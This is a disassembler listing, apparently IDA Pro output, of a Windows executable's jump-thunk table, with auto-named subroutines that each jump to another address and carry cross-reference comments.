; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017DF proc near ; CODE XREF: sub_416220+11p
; ___:00416247p ...
jmp sub_4167F0
sub_4017DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017E4 proc near ; CODE XREF: sub_415A10+3p
; ___:0041626Fp ...
jmp sub_4164A0
sub_4017E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4017E9 proc near ; CODE XREF: sub_415600+6Ap
; sub_416030+32p
jmp sub_415F70
sub_4017E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017EE proc near ; CODE XREF: sub_403530+DBp
; sub_404010+3Fp ...
jmp sub_40A800
sub_4017EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017F3 proc near ; CODE XREF: ___:00421EAAp
jmp sub_422470
sub_4017F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4017F8 proc near
jmp sub_40B2F0
sub_4017F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017FD proc near ; CODE XREF: sub_4068E0+205p
jmp sub_41B920
sub_4017FD endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401807 proc near ; CODE XREF: ___:00427D03p
jmp sub_427D30
sub_401807 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40180C proc near ; CODE XREF: ___:00425F16p
; ___:00425F47p
jmp sub_4257F0
sub_40180C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401811 proc near ; CODE XREF: sub_41E760+FFp
; sub_41E760+179p ...
jmp sub_421B80
sub_401811 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401816 proc near ; CODE XREF: sub_40A1F0+7p
jmp sub_40A210
sub_401816 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40181B proc near ; CODE XREF: sub_40B510+76p
jmp sub_40B470
sub_40181B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401820 proc near ; CODE XREF: ___:00423F8Dp
; DATA XREF: ___:off_44541Co
jmp sub_425100
sub_401820 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401825 proc near ; CODE XREF: sub_41E760+18Ep
; ___:0043C483j
jmp sub_4219F0
sub_401825 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40182A proc near ; DATA XREF: ___:off_43F10Co
jmp sub_428210
sub_40182A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40182F proc near ; CODE XREF: ___:00416EDFp
jmp sub_417EF0
sub_40182F endp
; ---------------------------------------------------------------------------
jmp loc_42FF10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401839 proc near ; CODE XREF: sub_41E760+3BCp
; sub_4226B0+3p
jmp sub_421D50
sub_401839 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40183E proc near ; CODE XREF: sub_427990+90p
jmp sub_427C50
sub_40183E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401843 proc near ; CODE XREF: ___:0042444Dp
; sub_424920+135p
jmp sub_424480
sub_401843 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401848 proc near ; CODE XREF: sub_40BF20+3p
; ___:0040BFEFp ...
jmp sub_40C160
sub_401848 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40184D proc near ; CODE XREF: sub_407140+36p
; sub_407140+72p ...
jmp sub_407390
sub_40184D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401852 proc near ; CODE XREF: ___:00413251p
jmp sub_415770
sub_401852 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401857 proc near ; CODE XREF: ___:0040BAB1p
; ___:0040BB78p ...
jmp sub_412B70
sub_401857 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40185C proc near ; CODE XREF: ___:004332DFp
; ___:004333EFp ...
jmp sub_432E20
sub_40185C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401861 proc near ; DATA XREF: ___:0043359Ao
; ___:00433700o
jmp sub_432E90
sub_401861 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401866 proc near ; CODE XREF: sub_416460+7p
jmp sub_416840
sub_401866 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40186B proc near ; CODE XREF: sub_418430+34p
jmp sub_404C70
sub_40186B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401870 proc near ; CODE XREF: sub_403530+7Ap
; sub_403530+9Ep ...
jmp sub_409C20
sub_401870 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401875 proc near ; CODE XREF: sub_420630+152p
jmp sub_4208A0
sub_401875 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40187A proc near ; CODE XREF: ___:0041A328p
; sub_41B110+3p ...
jmp sub_41B140
sub_40187A endp
; ---------------------------------------------------------------------------
jmp loc_42B060
; ---------------------------------------------------------------------------
jmp loc_41C1E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401889 proc near ; CODE XREF: ___:00416B4Bp
; ___:0043B26Cj ...
jmp sub_416E10
sub_401889 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40188E proc near ; CODE XREF: sub_410030+217p
; sub_41FE90+4Cp ...
jmp sub_41FE50
sub_40188E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401893 proc near ; CODE XREF: sub_42AD90+9Dp
jmp sub_429450
sub_401893 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401898 proc near ; CODE XREF: ___:0042D2F5p
jmp sub_4290B0
sub_401898 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40189D proc near ; DATA XREF: ___:0043F184o
jmp sub_42B440
sub_40189D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018A2 proc near ; CODE XREF: sub_41B5B0+DDp
jmp sub_41AE30
sub_4018A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018A7 proc near
jmp sub_4341C0
sub_4018A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018AC proc near ; CODE XREF: ___:00414295p
; sub_414E10+1B2p
jmp sub_413E70
sub_4018AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018B1 proc near ; CODE XREF: sub_4120B0+1B6p
jmp sub_40A1F0
sub_4018B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018B6 proc near ; CODE XREF: sub_41E760+5ABp
jmp sub_4204D0
sub_4018B6 endp
; ---------------------------------------------------------------------------
jmp loc_433000
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018C0 proc near ; CODE XREF: sub_40A9F0+14p
jmp sub_40ACA0
sub_4018C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018C5 proc near ; CODE XREF: sub_4135E0+B4p
; ___:00414C60p ...
jmp sub_415710
sub_4018C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018CA proc near ; CODE XREF: sub_41A3B0+6Dp
; sub_41A3B0+1B5p
jmp sub_41B060
sub_4018CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018CF proc near ; CODE XREF: ___:004323CAp
jmp sub_431D80
sub_4018CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018D4 proc near ; CODE XREF: sub_418F90+5Fp
jmp sub_419130
sub_4018D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018D9 proc near ; CODE XREF: ___:00416B9Bp
; ___:0043B226j ...
jmp sub_4179F0
sub_4018D9 endp
; ---------------------------------------------------------------------------
jmp loc_419ED0
; ---------------------------------------------------------------------------
jmp sub_41A1E0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4018E8 proc near ; CODE XREF: sub_41E760+46p
jmp sub_4219B0
sub_4018E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018ED proc near ; CODE XREF: ___:0042D425p
jmp sub_42ACB0
sub_4018ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4018F2 proc near ; CODE XREF: sub_422230+7p
jmp sub_422620
sub_4018F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018F7 proc near ; CODE XREF: sub_4220B0+9p
; sub_422510+18p
jmp sub_422690
sub_4018F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018FC proc near ; CODE XREF: sub_4222B0+8p
jmp sub_422670
sub_4018FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401901 proc near ; CODE XREF: sub_4134A0+43p
; sub_4148A0+4Fp ...
jmp sub_415820
sub_401901 endp
; ---------------------------------------------------------------------------
jmp loc_431D00
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40190B proc near ; CODE XREF: sub_421AD0+1Fp
jmp sub_421E50
sub_40190B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401910 proc near ; CODE XREF: sub_4219B0+11p
; sub_421E50+1Fp
jmp sub_421F80
sub_401910 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401915 proc near ; CODE XREF: sub_40B470+6Dp
jmp sub_40BE70
sub_401915 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40191A proc near ; CODE XREF: sub_409530+13p
jmp sub_409660
sub_40191A endp
; ---------------------------------------------------------------------------
jmp loc_4378B0
; ---------------------------------------------------------------------------
jmp sub_41B110
; ---------------------------------------------------------------------------
loc_401929: ; DATA XREF: ___:off_43F068o
jmp loc_416DE0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40192E proc near ; CODE XREF: ___:00413C01p
jmp sub_413A80
sub_40192E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401933 proc near ; CODE XREF: ___:00413263p
; sub_4132F0+32p
jmp sub_4155B0
sub_401933 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401938 proc near ; CODE XREF: ___:00416C4Bp
; ___:0043B18Cj ...
jmp sub_417120
sub_401938 endp
; ---------------------------------------------------------------------------
jmp loc_432390
; ---------------------------------------------------------------------------
jmp loc_4347E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401947 proc near ; CODE XREF: sub_41C710+F1p
; sub_41C710+270p ...
jmp sub_420F10
sub_401947 endp
; ---------------------------------------------------------------------------
jmp loc_40A4E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401951 proc near ; CODE XREF: sub_404CC0+283p
; sub_40EE40+D2p ...
jmp sub_40F060
sub_401951 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401956 proc near ; CODE XREF: sub_4219F0+34p
; sub_422340+67p
jmp sub_421FD0
sub_401956 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40195B proc near ; CODE XREF: sub_404CC0+BF1p
jmp sub_406730
sub_40195B endp
; ---------------------------------------------------------------------------
jmp loc_433650
; ---------------------------------------------------------------------------
loc_401965: ; DATA XREF: sub_41FD00+39o
jmp loc_41FC30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40196A proc near ; CODE XREF: ___:0041A29Ep
; sub_41A3B0+Bp ...
jmp sub_41A390
sub_40196A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40196F proc near ; CODE XREF: ___:0041AC86p
; ___:0041AD66p
jmp sub_41A990
sub_40196F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401974 proc near
jmp sub_419320
sub_401974 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401979 proc near ; CODE XREF: sub_4119E0+2Ep
; sub_411BE0+3p
jmp sub_411B20
sub_401979 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40197E proc near ; CODE XREF: sub_41E760+F5p
; sub_41E760+16Fp ...
jmp sub_421AA0
sub_40197E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401983 proc near ; CODE XREF: sub_409530+4p
; sub_4096E0+1Fp ...
jmp sub_4095E0
sub_401983 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401988 proc near
jmp sub_409B10
sub_401988 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40198D proc near ; CODE XREF: sub_41F960+20p
; sub_42AD90+37p
jmp sub_41FF50
sub_40198D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401992 proc near ; CODE XREF: sub_4135E0+4Ap
; ___:00414C0Fp ...
jmp sub_415500
sub_401992 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401997 proc near ; CODE XREF: sub_40A510+A8p
jmp sub_40A930
sub_401997 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40199C proc near ; CODE XREF: sub_40CC90+41p
jmp sub_40CF40
sub_40199C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019A1 proc near ; CODE XREF: ___:004346F5p
; ___:004347F5p
jmp sub_434450
sub_4019A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019A6 proc near ; CODE XREF: sub_4219F0+29p
jmp sub_421EF0
sub_4019A6 endp
; ---------------------------------------------------------------------------
jmp loc_42FFE0
; ---------------------------------------------------------------------------
jmp loc_42FFB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019B5 proc near ; CODE XREF: sub_40A870+Dp
; sub_40AAD0+91p
jmp sub_40A9F0
sub_4019B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019BA proc near ; CODE XREF: sub_422150+23p
; sub_422510+11p
jmp sub_4226B0
sub_4019BA endp
; ---------------------------------------------------------------------------
jmp loc_41AC20
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019C4 proc near ; CODE XREF: sub_404010+2Cp
; ___:0040408Fp ...
jmp sub_403530
sub_4019C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019C9 proc near ; CODE XREF: sub_422850+6p
jmp sub_4228C0
sub_4019C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019CE proc near ; DATA XREF: ___:off_43F050o
jmp sub_416D30
sub_4019CE endp
; ---------------------------------------------------------------------------
jmp sub_40FE40
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4019D8 proc near ; CODE XREF: sub_407460+4p
jmp sub_407590
sub_4019D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019DD proc near ; CODE XREF: ___:0040B709p
; ___:0040BB26p ...
jmp sub_40B600
sub_4019DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019E2 proc near ; CODE XREF: sub_410030+AF4p
; sub_410030+E6Ap
jmp sub_411BE0
sub_4019E2 endp
; ---------------------------------------------------------------------------
jmp loc_433C30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019EC proc near ; CODE XREF: sub_4145A0+CEp
jmp sub_414710
sub_4019EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019F1 proc near ; DATA XREF: ___:0043F1C8o
jmp sub_42CB70
sub_4019F1 endp
; ---------------------------------------------------------------------------
loc_4019F6: ; DATA XREF: ___:off_43F0D0o
jmp loc_41D830
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019FB proc near ; CODE XREF: sub_421B10+3p
jmp sub_422030
sub_4019FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A00 proc near ; CODE XREF: ___:00416E8Fp
jmp sub_40B190
sub_401A00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A05 proc near
jmp sub_4133B0
sub_401A05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A0A proc near ; CODE XREF: sub_41E760+477p
jmp sub_4201F0
sub_401A0A endp
; ---------------------------------------------------------------------------
jmp loc_421950
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A14 proc near ; DATA XREF: ___:0043F124o
jmp sub_428940
sub_401A14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A19 proc near
jmp sub_411C10
sub_401A19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A1E proc near ; CODE XREF: sub_4344C0+92p
jmp sub_431C30
sub_401A1E endp
; ---------------------------------------------------------------------------
jmp loc_4292B0
; ---------------------------------------------------------------------------
jmp loc_427D00
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A2D proc near ; CODE XREF: sub_421EF0+32p
jmp sub_422340
sub_401A2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A32 proc near ; CODE XREF: ___:00416BDBp
; sub_416D30+3p ...
jmp sub_416D00
sub_401A32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A37 proc near ; CODE XREF: ___:00423B04p
; ___:004285E8p ...
jmp sub_420E00
sub_401A37 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A3C proc near ; CODE XREF: sub_422310+Ap
jmp sub_422720
sub_401A3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A41 proc near ; CODE XREF: ___:00412F9Fp
; ___:00413054p ...
jmp sub_404690
sub_401A41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A46 proc near ; CODE XREF: sub_409530+1Ap
; sub_409610+4p ...
jmp sub_4095A0
sub_401A46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A4B proc near ; DATA XREF: ___:off_43F028o
jmp sub_40FE40
sub_401A4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A50 proc near ; DATA XREF: ___:0043F0E4o
jmp sub_427990
sub_401A50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A55 proc near ; CODE XREF: ___:00426475p
jmp sub_426070
sub_401A55 endp
; ---------------------------------------------------------------------------
jmp loc_409E30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A5F proc near ; CODE XREF: sub_415BA0+1Ep
jmp sub_416650
sub_401A5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A64 proc near ; CODE XREF: ___:004305E0p
; sub_4321F0+36p ...
jmp sub_431630
sub_401A64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A69 proc near ; CODE XREF: sub_4138B0+3Ep
jmp sub_434BF0
sub_401A69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A6E proc near ; CODE XREF: sub_414A70+3p
jmp sub_414AA0
sub_401A6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A73 proc near ; CODE XREF: ___:0040829Bp
; ___:0040872Cp
jmp sub_409570
sub_401A73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A78 proc near ; DATA XREF: ___:0043F0E0o
; ___:0043F0F0o ...
jmp sub_4276C0
sub_401A78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A7D proc near ; CODE XREF: sub_41D930+1ADp
jmp sub_42DB00
sub_401A7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A82 proc near ; CODE XREF: sub_420630+191p
; sub_4228C0+3p ...
jmp sub_4208C0
sub_401A82 endp
; ---------------------------------------------------------------------------
jmp loc_4302E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A8C proc near ; CODE XREF: sub_4226E0+5p
jmp sub_422850
sub_401A8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A91 proc near ; CODE XREF: ___:00416F4Ap
jmp sub_418200
sub_401A91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A96 proc near ; CODE XREF: sub_407270+5p
; sub_407360+6p ...
jmp sub_4074B0
sub_401A96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A9B proc near ; CODE XREF: sub_403530+90p
; sub_404CC0+40Cp ...
jmp sub_40A780
sub_401A9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AA0 proc near ; CODE XREF: sub_41D930+2FFp
; sub_41F030+52Fp
jmp sub_41FE90
sub_401AA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AA5 proc near ; CODE XREF: ___:004330BAp
jmp sub_430B30
sub_401AA5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AAA proc near ; CODE XREF: sub_415570+1Fp
jmp sub_415ED0
sub_401AAA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AAF proc near ; CODE XREF: sub_403530+E5p
; sub_409F50+Fp ...
jmp sub_409E80
sub_401AAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AB4 proc near ; CODE XREF: sub_432850+17p
; sub_432850+33p
jmp sub_434A00
sub_401AB4 endp
; ---------------------------------------------------------------------------
jmp loc_434770
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp loc_427D00
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AC8 proc near ; CODE XREF: sub_424F70+E5p
; sub_424F70+120p
jmp sub_424E20
sub_401AC8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401ACD proc near ; DATA XREF: ___:off_43F034o
jmp sub_4120B0
sub_401ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AD2 proc near ; DATA XREF: ___:0041FC33o
jmp sub_41FB90
sub_401AD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AD7 proc near ; CODE XREF: sub_407140+Bp
jmp sub_407320
sub_401AD7 endp
; ---------------------------------------------------------------------------
jmp loc_433E90
; ---------------------------------------------------------------------------
loc_401AE1: ; DATA XREF: ___:off_43F020o
jmp loc_40B9B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AE6 proc near ; CODE XREF: sub_403F30+2Bp
; sub_403F30+3Bp ...
jmp sub_403D60
sub_401AE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AEB proc near ; CODE XREF: sub_4135E0+66p
; sub_4135E0+CAp ...
jmp sub_415740
sub_401AEB endp
; ---------------------------------------------------------------------------
jmp loc_41B880
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AF5 proc near
jmp sub_4228F0
sub_401AF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AFA proc near ; CODE XREF: ___:00416C2Bp
; ___:0043B1A8j ...
jmp sub_40B250
sub_401AFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AFF proc near ; CODE XREF: ___:00421864p
; ___:0042189Ep
jmp sub_4216D0
sub_401AFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B04 proc near ; CODE XREF: sub_404C30+15p
jmp sub_407140
sub_401B04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B09 proc near ; DATA XREF: ___:off_43F0BCo
jmp sub_41A1E0
sub_401B09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B0E proc near ; CODE XREF: ___:0041700Fp
jmp sub_418A00
sub_401B0E endp
; ---------------------------------------------------------------------------
loc_401B13: ; CODE XREF: ___:00439F76j
jmp loc_40CBD0
; ---------------------------------------------------------------------------
loc_401B18: ; DATA XREF: ___:off_43F16Co
jmp loc_42B060
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B1D proc near ; CODE XREF: sub_4170B0+28p
jmp sub_418990
sub_401B1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B22 proc near ; CODE XREF: ___:00432CD7p
jmp sub_432D10
sub_401B22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B27 proc near ; CODE XREF: sub_431240+Bp
jmp sub_4316C0
sub_401B27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B2C proc near
jmp sub_40AF80
sub_401B2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B31 proc near ; CODE XREF: ___:00418D7Bp
; sub_418F90+28p ...
jmp sub_419050
sub_401B31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B36 proc near ; DATA XREF: ___:off_43F1B0o
jmp sub_42C7E0
sub_401B36 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B3B proc near ; CODE XREF: ___:00416B7Bp
; ___:0043B242j ...
jmp sub_417AD0
sub_401B3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B40 proc near ; CODE XREF: ___:004087CBp
; ___:004087ECp ...
jmp sub_4076B0
sub_401B40 endp
; ---------------------------------------------------------------------------
jmp loc_414BC0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B4A proc near ; CODE XREF: sub_41C710+83p
; ___:004295EFp
jmp sub_41D640
sub_401B4A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B4F proc near ; CODE XREF: sub_41A990+11p
jmp sub_41A9C0
sub_401B4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B54 proc near ; CODE XREF: sub_41E760+339p
jmp sub_421D10
sub_401B54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B59 proc near ; CODE XREF: sub_414D40+3p
jmp sub_414D70
sub_401B59 endp
; ---------------------------------------------------------------------------
jmp loc_433F90
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B63 proc near ; CODE XREF: sub_430D90+29p
jmp sub_430830
sub_401B63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B68 proc near ; CODE XREF: sub_40FE70+38p
; ___:0043A458j
jmp sub_412C90
sub_401B68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B6D proc near
jmp sub_40D660
sub_401B6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B72 proc near ; CODE XREF: sub_4076B0+3Bp
; sub_407740+43p
jmp sub_40B510
sub_401B72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B77 proc near ; CODE XREF: sub_407320+3p
jmp sub_4074F0
sub_401B77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B7C proc near ; CODE XREF: sub_424920+9Dp
; sub_424920+FBp ...
jmp sub_4246D0
sub_401B7C endp
; ---------------------------------------------------------------------------
loc_401B81: ; DATA XREF: ___:off_43F084o
jmp loc_426EC0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B86 proc near ; CODE XREF: sub_410030+413p
; sub_410030+F69p ...
jmp sub_40A040
sub_401B86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B8B proc near ; CODE XREF: ___:00426764p
jmp sub_4267D0
sub_401B8B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B90 proc near ; CODE XREF: sub_422150+32p
jmp sub_422510
sub_401B90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B95 proc near ; CODE XREF: sub_41B5B0+A5p
jmp sub_41A7D0
sub_401B95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B9A proc near ; CODE XREF: sub_40C040+23p
; sub_40C200+11p
jmp sub_40C3A0
sub_401B9A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B9F proc near ; CODE XREF: ___:0042CB23p
jmp sub_42CB50
sub_401B9F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BA4 proc near
jmp sub_41E240
sub_401BA4 endp
; ---------------------------------------------------------------------------
loc_401BA9: ; DATA XREF: sub_431240+86o
jmp loc_432940
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BAE proc near ; CODE XREF: sub_409610+20p
jmp sub_4096E0
sub_401BAE endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BB8 proc near ; DATA XREF: ___:off_43F0A4o
jmp sub_40CC90
sub_401BB8 endp
; ---------------------------------------------------------------------------
jmp loc_431CC0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BC2 proc near ; CODE XREF: sub_421CD0+1Fp
jmp sub_4220B0
sub_401BC2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BC7 proc near ; CODE XREF: sub_428810+39p
jmp sub_4283D0
sub_401BC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BCC proc near ; CODE XREF: sub_415820+5p
; sub_415A30+6p ...
jmp sub_416480
sub_401BCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BD1 proc near ; CODE XREF: sub_4316C0+5Dp
; sub_432A20+3Ep
jmp sub_4317C0
sub_401BD1 endp
